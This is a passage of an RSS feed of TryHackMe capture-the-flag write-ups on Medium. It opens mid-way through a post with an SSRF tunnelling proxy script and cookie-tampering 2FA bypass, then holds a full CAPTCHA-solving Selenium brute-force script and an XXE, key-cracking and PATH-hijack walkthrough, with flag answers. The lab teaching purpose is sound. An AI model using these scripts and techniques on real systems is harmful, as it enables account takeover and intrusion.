re.match(rb&quot;^\w+ (\S+)&quot;, current_request)<br>            current_path = current_path_match.group(1).decode() if current_path_match else &quot;/&quot;<br>            new_path = urllib.parse.urljoin(current_path, location)<br><br>        headers[&quot;location&quot;] = f&quot;http://{LISTEN_HOST}:{LISTEN_PORT}{new_path}&quot;<br><br>    current_path_match = re.match(rb&quot;^\w+ (\S+)&quot;, current_request)<br>    current_path = current_path_match.group(1).decode() if current_path_match else &quot;/&quot;<br>    body = rewrite_html(body, current_path)<br><br>    return status, headers, body<br><br><br>def build_response(status: int, headers: dict, body: bytes) -&gt; bytes:<br>    status_text = {<br>        200: &quot;OK&quot;, 201: &quot;Created&quot;, 204: &quot;No Content&quot;,<br>        301: &quot;Moved Permanently&quot;, 302: &quot;Found&quot;, 307: &quot;Temporary Redirect&quot;,<br>        400: &quot;Bad Request&quot;, 401: &quot;Unauthorized&quot;, 403: &quot;Forbidden&quot;,<br>        404: &quot;Not Found&quot;, 500: &quot;Internal Server Error&quot;, 502: &quot;Bad Gateway&quot;<br>    }.get(status, &quot;OK&quot;)<br><br>    ct = headers.get(&quot;content-type&quot;, &quot;text/html; charset=utf-8&quot;)<br><br>    extra = b&quot;&quot;<br>    for cookie in headers.get(&quot;set-cookie&quot;, []):<br>        extra += f&quot;Set-Cookie: {cookie}\r\n&quot;.encode()<br>    if &quot;location&quot; in headers:<br>        extra += f&quot;Location: {headers[&#39;location&#39;]}\r\n&quot;.encode()<br><br>    return (<br>        f&quot;HTTP/1.1 {status} {status_text}\r\n&quot;.encode()<br>        + f&quot;Content-Type: {ct}\r\n&quot;.encode()<br>        + f&quot;Content-Length: {len(body)}\r\n&quot;.encode()<br>        + b&quot;Connection: close\r\n&quot;<br>        + b&quot;Access-Control-Allow-Origin: *\r\n&quot;<br>        + extra<br>        + b&quot;\r\n&quot;<br>        + body<br>    )<br><br><br>def recv_full_request(conn: socket.socket) -&gt; bytes:<br>    conn.settimeout(5.0)<br>    data = b&quot;&quot;<br>    try:<br>        while True:<br>            chunk = conn.recv(8192)<br>            if not chunk:<br>                break<br>            data += chunk<br>            if b&quot;\r\n\r\n&quot; in data:<br>                m = re.search(rb&quot;Content-Length:\s*(\d+)&quot;, data, re.IGNORECASE)<br>                if m:<br>                    expected = int(m.group(1))<br>                    end = data.index(b&quot;\r\n\r\n&quot;) + 4<br>                    if len(data) - end &gt;= expected:<br>                        break<br>                    conn.settimeout(10.0)<br>                else:<br>                    break<br>    except socket.timeout:<br>        pass<br>    return data<br><br><br>def handle_client(conn: socket.socket, addr):<br>    try:<br>        raw = recv_full_request(conn)<br>        if not raw:<br>            return<br>        if raw.startswith(b&quot;CONNECT&quot;):<br>            conn.sendall(b&quot;HTTP/1.1 200 Connection Established\r\n\r\n&quot;)<br>            return<br>        conn.sendall(build_response(*send_via_ssrf_follow_redirects(fix_request(raw))))<br>    except Exception as e:<br>        try:<br>            err = f&quot;&lt;h1&gt;Error&lt;/h1&gt;&lt;pre&gt;{e}&lt;/pre&gt;&quot;.encode()<br>            conn.sendall(b&quot;HTTP/1.1 502 Bad Gateway\r\nContent-Type: text/html\r\nContent-Length: &quot;<br>                         + str(len(err)).encode() + b&quot;\r\n\r\n&quot; + err)<br>        except:<br>            pass<br>    finally:<br>        conn.close()<br><br><br>with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:<br>    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)<br>    s.bind((LISTEN_HOST, LISTEN_PORT))<br>    s.listen(20)<br>    print(f&quot;Proxy {LISTEN_HOST}:{LISTEN_PORT} -&gt; {SSRF_ENDPOINT.split(&#39;/&#39;)[2]} -&gt; {FORWARD_IP}:{FORWARD_PORT}&quot;)<br>    while True:<br>        conn, addr = s.accept()<br>        threading.Thread(target=handle_client, args=(conn, addr), daemon=True).start()</pre><p>With the proxy running, I could now access http://127.0.0.1:4000 in my browser, which gave me direct access to the service on port <strong>10000</strong>. I configured Burp Suite and used <strong>Burp&#39;s browser</strong> (regular Firefox wouldn&#39;t intercept the traffic properly) to intercept a request to /customapi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*0jHqiKqBDyED8AvLVuZTnQ.png" /><figcaption>(success)</figcaption></figure><p>I added the malicious header.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*i89aI3lqr1RzQUvRPTe6QQ.png" /><figcaption>(x-middleware-subrequest)</figcaption></figure><p>The server responded with HTTP <strong>200</strong>, returning the <strong>first flag</strong> along with a set of credentials:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*ylzHE0VWhUygvsubwyLAfQ.png" /><figcaption>(first flag)</figcaption></figure><p>Armed with the credentials, I pivoted back to the /management/ login portal on port <strong>80</strong>. I updated the <strong>proxy </strong>script to forward traffic to port <strong>80 </strong>instead of port <strong>10000</strong>, giving me full interactive access to the management application through the same <strong>SSRF </strong>tunnel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*4LrPlK7-BFhdrECBdXmc_Q.png" /><figcaption>(forward port)</figcaption></figure><p>Submitting the credentials was accepted, but rather than granting access directly, the application redirected me to /management/2fa, prompting for a Time-Based <strong>OTP </strong>that I did not have.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*npWVfgjIc2I7mn_IroMvSQ.png" /><figcaption>(2fa code)</figcaption></figure><p>Inspecting the cookies set during the <strong>POST </strong>to the login endpoint, I noticed that upon the initial <strong>POST </strong>login, the server assigned a cookie called auth_token containing a parameter &quot;validated&quot;:b:0.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*8c22AX3FgqWcQEF1oR-_Yw.png" /><figcaption>(validated:b:0)</figcaption></figure><p>This is <strong>PHP </strong>serialisation syntax for a boolean false the application was tracking 2FA completion status client-side in a cookie, with no server-side signature or <strong>HMAC </strong>to prevent tampering.</p><p>To bypass this I crafted a modified request to /management/2fa with the cookie value altered to set &quot;validated&quot;:b:1 (boolean true).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*dOdosouC7uiDNnyR-xQ1qg.png" /><figcaption>(1)</figcaption></figure><p>The server accepted this value at face value, considered the 2FA step complete, and returned the second and final<strong> flag</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*JLqDa5cMVQi__WJtP4RGog.png" /><figcaption>(last flag)</figcaption></figure><p>The answers for all the questions are:</p><p><strong>1. What is the first flag?</strong></p><blockquote>THM{363bec60df12c2cadbe9ff35393fa468}</blockquote><p><strong>2. What is the second flag?</strong></p><blockquote>THM{804326748394ff9fb288e059653f0db7}</blockquote><p>Thats all! Thanks for reading and see you next time!, I hope this Writeup has been helpful.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=573dd3e2f15e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CAPTCHApocalypse writeup — TryHackMe]]></title>
            <link>https://medium.com/@0xH1S/captchapocalypse-writeup-tryhackme-a1b82a1d4fc0?source=rss-8dd7bb1572f3------2</link>
            <guid isPermaLink="false">https://medium.com/p/a1b82a1d4fc0</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[0xH1S]]></dc:creator>
            <pubDate>Tue, 24 Feb 2026 23:17:24 GMT</pubDate>
            <atom:updated>2026-02-24T23:17:24.724Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*dBYAYV9NLSyXmm70pKq_KA.png" /></figure><p>In this walkthrough, I will detail my methodology for compromising the <strong>“CAPTCHApocalypse</strong>” machine on <strong>TryHackMe</strong>. The name itself hinted at a challenge involving <strong>CAPTCHA </strong>systems, and as I discovered, the main obstacle was an interactive login portal protected by a dynamically generated <strong>CAPTCHA</strong>.</p><p><strong>Reconnaissance phase</strong></p><p>I started with an <strong>Nmap </strong>scan to identify open ports and running services. I first performed a fast, full-port <strong>TCP </strong>scan using the -sS (<strong>SYN </strong>stealth), -p- (all ports), and --min-rate 5000 flags to speed up the process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*30XBX4b-BEa1R4NsWYs_-A.png" /><figcaption>(nmap)</figcaption></figure><p>The scan revealed two open ports:</p><ul><li>22/tcp — <strong>SSH</strong></li><li>80/tcp — <strong>HTTP</strong></li></ul><p>To gather more detailed information about the services running on these ports, I executed a second <strong>Nmap </strong>scan with the -sV (<strong>service </strong>version) and -sC (default <strong>scripts</strong>) flags.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*lzM0g6yNtzCvWdyM9AxtDw.png" /><figcaption>(nmap2)</figcaption></figure><p>This confirmed that <strong>port 22</strong> was running <strong>OpenSSH 8.2p1</strong> and <strong>port 80</strong> was serving an <strong>Apache HTTP Server 2.4.41</strong>.</p><p><strong>Enumeration Phase</strong></p><p>With a web server identified, I used <strong>Gobuster</strong> to enumerate directories and files on the hosted website:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZBjqQg9yibmJwS0dTvqoSQ.png" /><figcaption>(gobuster)</figcaption></figure><p>The scan returned typical files like index.php, but one entry caught my attention: script.js. This was unusual enough to warrant further investigation.</p><p>Before diving into the <strong>JavaScript</strong>, I accessed the web page in my browser. I was greeted by a login form. The form featured a <strong>CAPTCHA </strong>mechanism that displayed a random <strong>5</strong>-character alphanumeric string (all uppercase), which changed with every page refresh or login attempt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*wzdAVfr3HE3_OsRoQGl8cw.png" /><figcaption>(login)</figcaption></figure><p>I attempted to intercept a login request using <strong>Burp Suite</strong> to analyze the parameters being sent. The data was transmitted as an encrypted <strong>JSON </strong>object, making it impossible to tamper with directly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*aLnn48A7sEu_Ae65b43p0g.png" /><figcaption>(burp suite)</figcaption></figure><p>My next step was to view the page source. Inside the <strong>HTML</strong>, I discovered a hidden field containing a <strong>CSRF token</strong>. This token was sent with every <strong>POST </strong>request, effectively blocking brute-force tools like Hydra, which rely on predictable or static parameters.</p><p>I also noticed that the <strong>username </strong>and <strong>password </strong>fields were identified by their id attributes, not the standard name attribute. More importantly, the <strong>login </strong>button didn&#39;t trigger a standard form submission. Instead, it had an onclick event that called a custom <strong>JavaScript </strong>function named login().</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nK1DArjQgpYlXW-FU4xTpg.png" /><figcaption>(source code)</figcaption></figure><p>Remembering the script.js file from my Gobuster scan, I navigated to http://10.80.131.145/script.js. The file contained the login() function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*8hE6F7Y1POmc2sjHFUZMyA.png" /><figcaption>(login)</figcaption></figure><p>Here’s what it does:</p><ul><li>It collects the values of the <strong>CSRF </strong>token, username, password, and <strong>CAPTCHA </strong>input fields.</li><li>It bundles them together using append() and <strong>encrypts</strong> the entire payload.</li><li>It sends the encrypted data in a <strong>POST </strong>request to<strong> </strong>server.php.</li><li>If the server’s decrypted response matches the expected value, it <strong>redirects </strong>the user to dashboard.php. Otherwise, it appends ?error=true to the URL.</li></ul><p>This explained why I couldn’t intercept the <strong>POST </strong>data earlier, everything was encrypted <strong>client-side</strong> before being sent.</p><p><strong>Exploitation Phase</strong></p><p>Understanding the full login flow, I adapted a script originally presented in a <a href="https://tryhackme.com/room/customtoolingviabrowserautomation">TryHackMe</a> room to fit this machine’s specific behavior. The approach uses <strong>Selenium</strong> to automate a real Chrome browser, <strong>Tesseract OCR</strong> to solve the CAPTCHA, and <strong>selenium-stealth</strong> to avoid bot detection.</p><pre>from selenium.webdriver.common.by import By<br>from selenium import webdriver<br>from selenium.webdriver.chrome.options import Options<br>from selenium.webdriver.chrome.service import Service<br>from selenium_stealth import stealth<br><br>import time<br>from fake_useragent import UserAgent<br>from PIL import Image, ImageEnhance, ImageFilter<br>import pytesseract<br>import io<br>import os<br><br># Create folder for saving CAPTCHA images<br>os.makedirs(&quot;captchas&quot;, exist_ok=True)<br><br>options = Options()<br>ua = UserAgent()<br>userAgent = ua.random<br>options.add_argument(&#39;--headless&#39;)<br>options.add_argument(&quot;start-maximized&quot;)<br>options.add_argument(f&#39;user-agent={userAgent}&#39;)<br>options.add_argument(&#39;--disable-dev-shm-usage&#39;)<br>options.add_argument(&#39;--disable-cache&#39;)<br>options.add_argument(&#39;--disable-gpu&#39;)<br><br>options.binary_location = &quot;/usr/bin/google-chrome&quot;<br>service = Service(executable_path=&#39;chromedriver-linux64/chromedriver&#39;)<br>chrome = webdriver.Chrome(service=service, options=options)<br><br>stealth(chrome,<br>    languages=[&quot;en-US&quot;, &quot;en&quot;],<br>    vendor=&quot;Google Inc.&quot;,<br>    platform=&quot;Win32&quot;,<br>    webgl_vendor=&quot;Intel Inc.&quot;,<br>    renderer=&quot;Intel Iris OpenGL Engine&quot;,<br>    fix_hairline=True,<br>)<br><br># CONFIG<br>ip = &#39;http://10.80.131.145&#39;<br>login_url = f&#39;{ip}/index.php&#39;<br>dashboard_url = f&#39;{ip}/dashboard.php&#39;<br>wordlist = &quot;/usr/share/wordlists/rockyou.txt&quot;<br>passwords = []<br><br>username = &quot;admin&quot;<br>with open(wordlist, &#39;r&#39;, errors=&#39;ignore&#39;) as file:<br>    for i, line in enumerate(file):<br>        if i &gt;= 100:<br>            break<br>        word = line.strip()<br>        passwords.append(word)<br><br>for password in passwords:<br>    while True:<br>        chrome.get(login_url)<br>        time.sleep(1)<br><br>        # Grab CSRF token<br>        csrf = chrome.find_element(By.NAME, &quot;csrf_token&quot;).get_attribute(&quot;value&quot;)<br><br>        # Get CAPTCHA image rendered in-browser<br>        captcha_img_element = chrome.find_element(By.TAG_NAME, &quot;img&quot;)<br>        captcha_png = captcha_img_element.screenshot_as_png<br><br>        # Preprocess image for OCR<br>        image = Image.open(io.BytesIO(captcha_png)).convert(&quot;L&quot;)<br>        image = image.resize((image.width * 2, image.height * 2), Image.LANCZOS)  # Resize for clarity<br>        image = image.filter(ImageFilter.SHARPEN)<br>        image = ImageEnhance.Contrast(image).enhance(2.0)<br>        image = image.point(lambda x: 0 if x &lt; 140 else 255, &#39;1&#39;)<br><br>        # OCR the CAPTCHA<br>        captcha_text = pytesseract.image_to_string(<br>            image,<br>            config=&#39;--psm 7 -c tessedit_char_whitelist=ABCDEFGHIJKLMNOPQRSTUVWXYZ23456789&#39;<br>        ).strip().replace(&quot; &quot;, &quot;&quot;).replace(&quot;\n&quot;, &quot;&quot;).upper()<br><br>        # Save the image for review<br>        image.save(f&quot;captchas/captcha_{password}_{captcha_text}.png&quot;)<br><br>        if not captcha_text.isalnum() or len(captcha_text) != 5:<br>            print(f&quot;[!] OCR failed (got: &#39;{captcha_text}&#39;), retrying...&quot;)<br>            continue<br><br>        print(f&quot;[*] Trying password: {password} with CAPTCHA: {captcha_text}&quot;)<br><br>        # Fill out and submit the form<br>        chrome.find_element(By.ID, &quot;username&quot;).send_keys(username)<br>        chrome.find_element(By.ID, &quot;password&quot;).send_keys(password)<br>        chrome.find_element(By.NAME, &quot;captcha_input&quot;).send_keys(captcha_text)<br>        chrome.find_element(By.ID, &quot;login-btn&quot;).click()<br><br>        time.sleep(3)<br><br>        if dashboard_url in chrome.current_url:<br>            print(f&quot;[+] Login successful with password: {password}&quot;)<br>            print(chrome.page_source)<br>            chrome.quit()<br>            exit()<br>        else:<br>            print(f&quot;[-] Failed login with: {password}&quot;)<br>            break  # try next password<br><br>chrome.quit()</pre><p>Before running the <strong>script</strong>, I had to install the following dependencies (Don’t forget to download <strong>chromedriver-linux64</strong> and extract it into the same folder as the <strong>script</strong>.):</p><pre>pip3 install selenium selenium-stealth fake-useragent Pillow pytesseract<br>sudo apt install tesseract-ocr<br>wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb<br>sudo apt install ./google-chrome-stable_current_amd64.deb</pre><p>The script works as follows:</p><p><strong>1.</strong> The script sets up a headless <strong>Chrome </strong>browser with a random user agent and anti-detection measures (using selenium-stealth) to avoid being blocked.</p><p><strong>2. </strong>The script opens /usr/share/wordlists/rockyou.txt in read mode and iterates over only the first <strong>100 </strong>passwords, appending each stripped line to a list. The target username is hardcoded as admin.</p><p><strong>3.</strong> For each password, the script enters a while True retry loop that:</p><ul><li>Loads the login page fresh with chrome.get(login_url) and waits 1 second for it to render.</li><li>Retrieves the <strong>CSRF </strong>token by locating the element by its name attribute (csrf_token).</li><li>Captures a screenshot of the <strong>CAPTCHA </strong>image by finding it via By.TAG_NAME (img) and using Selenium&#39;s screenshot_as_png method.</li><li>Preprocesses the image using <strong>Pillow</strong></li><li>Passes the processed image to <strong>Tesseract</strong> to get a clean 5-character string.</li><li>If the <strong>OCR </strong>output is not exactly 5 alphanumeric characters, the loop retries from the beginning (reloading the page and getting a fresh <strong>CAPTCHA</strong>).</li></ul><p><strong>4. </strong>Once a valid <strong>CAPTCHA </strong>is read, the script locates the username and password fields<strong> </strong>by their id attributes and the captcha_input field by name, fills them in, and clicks the login button by its <strong>ID </strong>(login-btn), which triggers the JavaScript login() function as expected.</p><p><strong>5.</strong> After a brief pause, it checks if the browser’s current URL is the dashboard (dashboard.php). If so, it prints the password and the page source (containing the flag), then exits. If not, it breaks the inner loop and tries the next password.</p><p>After running the <strong>script</strong>, it iterated through the list of passwords.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/503/1*dWGHZY30faMOWTTBrrzjqA.png" /><figcaption>(python3)</figcaption></figure><p>After a few attempts, the script paused and printed a success message along with the <strong>HTML </strong>source of the dashboard.php page. The dashboard page source printed to the terminal contained the flag, completing the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*imMAfLKLX6RkPfNpP9-J8w.png" /><figcaption>(success)</figcaption></figure><p>The answers for all the questions are:</p><p><strong>1. What is the flag?</strong></p><blockquote>THM{8938aed9fbf43bddb7c0a98f292dca00}</blockquote><p>Thats all! Thanks for reading and see you next time!, I hope this Writeup has been helpful.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a1b82a1d4fc0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mustacchio writeup — TryHackMe]]></title>
            <link>https://medium.com/@0xH1S/mustacchio-writeup-tryhackme-c5de9dce3169?source=rss-8dd7bb1572f3------2</link>
            <guid isPermaLink="false">https://medium.com/p/c5de9dce3169</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[0xH1S]]></dc:creator>
            <pubDate>Fri, 28 Nov 2025 00:53:33 GMT</pubDate>
            <atom:updated>2025-11-28T00:55:41.446Z</atom:updated>
            <content:encoded><![CDATA[<h3>Mustacchio writeup — TryHackMe</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/150/1*sP1q1UYBJRLmHBfkYx52qQ.png" /></figure><p>This writeup documents the penetration testing process I performed on the “<strong>Mustacchio</strong>” machine. The methodology followed a standard approach: reconnaissance, enumeration, exploitation, and post-exploitation privilege escalation, enjoy!</p><p><strong>Reconnaissance phase</strong></p><p>The engagement began with network reconnaissance to identify <strong>open </strong>ports and services. I initiated a<strong> TCP SYN</strong> scan to quickly discover all open ports on the target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*Mfn3p4LxujYaI23cxualwA.png" /><figcaption>(nmap ports)</figcaption></figure><p>Results:</p><ul><li>Port <strong>22</strong>: Open</li><li>Port <strong>80</strong>: Open</li><li>Port <strong>8765</strong>: Open</li></ul><p>To gain more detailed information about the services running on these ports, I performed a <strong>version </strong>detection scan with default <strong>scripts</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*Aey8y8zkFeGCOzyfreupxw.png" /><figcaption>(versions)</figcaption></figure><p>This resulted in port <strong>22 </strong>using <strong>OpenSSH </strong>7.2p2, port <strong>80 </strong>using <strong>Apache </strong>httpd 2.4.18 and port <strong>8765 </strong>using <strong>nginx </strong>1.10.3 with the http-title of “<strong>Mustacchio </strong>| <strong>Login</strong>”</p><p><strong>Enumeration Phase</strong></p><p>I first navigated to the <strong>HTTP </strong>service on port 80. The website appeared to be a static template site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*4H88htnTo8tQs3ru9y1gjA.png" /><figcaption>(web)</figcaption></figure><p>All links, including the “<strong>Contact</strong>” page, redirected to .html files, indicating no immediate backend interaction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*XLpTe6_774Pn1IpZkmIyHw.png" /><figcaption>(contact.html)</figcaption></figure><p>To discover hidden directories, I used gobuster:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*okpsU9o5t9DlgHe_gkuLQw.png" /><figcaption>(gobuster)</figcaption></figure><p>This scan revealed a hidden directory: /custom. Inside this directory, I found two subdirectories: /css and /js. Within the /js folder, I discovered a file named users.bak.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/1*MOgba4x43QCDOcETISORCA.png" /><figcaption>(users.bak)</figcaption></figure><p>Recognizing that .bak often signifies a backup file, I downloaded it to my local machine for analysis. I used the file command to identify the file type and discovered it was a <strong>SQLite </strong>3 database file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X7reYfByIj2agfgO7wD-Bg.png" /><figcaption>(sqlite3)</figcaption></figure><p>I proceeded to open and inspect the <strong>database</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*p62XuWpSQFqV0QWgIfA1ZA.png" /><figcaption>(dump)</figcaption></figure><p>This dumped the contents of the users table, revealing a username admin and a hashed password.</p><p>I used hash-identifier to determine the hash type, which was identified as <strong>SHA-1</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*L24kfsewSuyc-o0_i9Yzew.png" /><figcaption>(sha1)</figcaption></figure><p>I then used an online <strong>cracking </strong>service, <strong>CrackStation</strong>, to crack the hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*q2N_RJRMtOHoIykdhADySw.png" /><figcaption>(crackstation)</figcaption></figure><p>The plaintext password was successfully revealed as bulldog19.</p><p>I attempted to use these credentials for <strong>SSH </strong>access, but the connection was refused, indicating key-based authentication was required. Remembering the Login page on port <strong>8765</strong>, I navigated to http://10.64.146.156:8765 and entered the credentials admin:bulldog19. The login was successful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*nkhV1cYs6fzBJMB66aOPcQ.png" /><figcaption>(success)</figcaption></figure><p><strong>Exploitation Phase</strong></p><p>The admin panel was a simple interface for submitting <strong>comments</strong>. If the text box was empty, it prompted for “<strong>XML </strong>code.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*evu-2ecDK8dBFwNgJ_56-g.png" /><figcaption>(xml code)</figcaption></figure><p>Sending random text revealed three XML elements: name, author, and comment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/313/1*BnEp-0SWA8BvnTbsF56AhA.png" /><figcaption>(xml elements)</figcaption></figure><p>This behavior strongly suggested the application was parsing user input as <strong>XML</strong>, making it a potential target for an <strong>XXE </strong>(XML External Entity) attack.</p><p><strong>XXE </strong>(XML External Entity) injection is a vulnerability that abuses an application’s <strong>XML </strong>parser to read local files on the server, perform Server-Side Request Forgery (<strong>SSRF</strong>), or even execute remote code. It occurs when user-supplied <strong>XML </strong>is parsed with external entity expansion enabled, allowing an attacker to define custom entities that reference system files or network resources.</p><p>I first tested if the application was processing <strong>XML </strong>entities by using a simple payload to replace the name field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*InPBuBJXNb_-wtgzpwsxQA.png" /><figcaption>(test _name)</figcaption></figure><p>The application reflected the entity’s value, confirming <strong>XML </strong>parsing. Next, I tested for <strong>external </strong>entity injection to read the /etc/passwd file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VDX3BFSC635cr2hImZsL6A.png" /><figcaption>(/etc/passwd)</figcaption></figure><p>This payload successfully dumped the contents of /etc/passwd, confirming a critical <strong>XXE </strong>vulnerability.</p><p>While inspecting the page source of the admin panel, I found a comment mentioning that the user barry could log in via <strong>SSH </strong>using his keys.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CY28vm-P_CO5gSt849WOzA.png" /><figcaption>(ssh key)</figcaption></figure><p>Using the XXE vulnerability, I retrieved Barry’s private <strong>SSH </strong>key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yw3Uu108toG1_q8zCOe1Bg.png" /><figcaption>(/home/barry/.ssh/id_rsa)</figcaption></figure><p>The key was returned, but it was encrypted with a passphrase, as indicated by the Proc-Type: 4,ENCRYPTED header.</p><p>In order to crack this passphrase, the first thing I did was save the key in a file (barry_id_rsa) and format it correctly, making sure that each line breaks were present every 64 characters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*ghI_SzFPQGN4Bbx3-WwIag.png" /><figcaption>(fromatted)</figcaption></figure><p>After that I used ssh2john to convert the key into a format <strong>John the Ripper</strong> could understand and then I used John with the rockyou.txt wordlist to crack the <strong>passphrase</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M1mUHVhf83QXe_YDj8sP0w.png" /><figcaption>(key.hash)</figcaption></figure><p>The passphrase was successfully cracked: urieljames.</p><p>Next, I used the private key and passphrase to gain <strong>SSH </strong>access as user <strong>barry. </strong>(you have to make sure to give the file chmod <strong>600 </strong>permissions).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*tfuhBvLq6dExd7Llq1TwTw.png" /><figcaption>(ssh)</figcaption></figure><p>With this, I was able to get the first <strong>flag</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/329/1*Qcfs7tAoYwUzhOon1Gl0oA.png" /><figcaption>(user.txt)</figcaption></figure><p><strong>Privilege Escalation</strong></p><p>With a foothold as barry, I began standard privilege escalation enumeration. I searched for SUID binaries and found an interesting one in /home/joe/ called live_log.</p><pre>find / -perm -u=s -type f 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*JMZEXNNEPAkFbdLa6D1gTA.png" /><figcaption>(suid)</figcaption></figure><p>The binary /home/joe/live_log was owned by root and had the SUID bit set. Executing it produced no visible output. Using the strings command, I discovered it was executing tail -f /var/log/nginx/access.log.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/1*ywpgZkdlypDZ2tyAARIIgw.png" /><figcaption>(strings)</figcaption></figure><p>The binary used the relative command tail instead of the absolute path /usr/bin/tail. This made it vulnerable to a PATH hijacking attack. I could create a malicious file named tail in a directory I control and prepend that directory to the <strong>PATH </strong>environment variable.</p><p>What I used to take advantage of this was the following:</p><p><strong>1.</strong> I modified the <strong>PATH </strong>environment variable to prioritize /tmp.</p><p><strong>2.</strong> I created a <strong>simple </strong>script that will execute /bin/bash and named it tail. I also gave it execution permissions.</p><p><strong>3.</strong> I executed the <strong>SUID </strong>binary live_log.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oQooFrGPLpfcIF-K4bbq0g.png" /><figcaption>(path)</figcaption></figure><p>Since the <strong>SUID </strong>bit was set, the binary executed my malicious tail file with root privileges, spawning a shell as the root user. I then navigated to the root directory and retrieved the final flag (root.txt).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/363/1*nYG9EzoZQ4soawhK5JhezA.png" /><figcaption>(root.txt)</figcaption></figure><p>The answers for all the questions are:</p><p><strong>1. What is the user flag?</strong></p><blockquote>62d77a4d5f97d47c5aa38b3b2651b831</blockquote><p><strong>2. What is the root flag?</strong></p><blockquote>3223581420d906c4dd1a5f9b530393a5</blockquote><p>Thats all! Thanks for reading and see you next time!, I hope this Writeup has been helpful.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c5de9dce3169" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Archangel writeup — TryHackMe]]></title>
            <link>https://medium.com/@0xH1S/archangel-writeup-tryhackme-781014f30777?source=rss-8dd7bb1572f3------2</link>
            <guid isPermaLink="false">https://medium.com/p/781014f30777</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[0xH1S]]></dc:creator>
            <pubDate>Fri, 21 Nov 2025 02:56:10 GMT</pubDate>
            <atom:updated>2025-11-21T02:56:10.170Z</atom:updated>
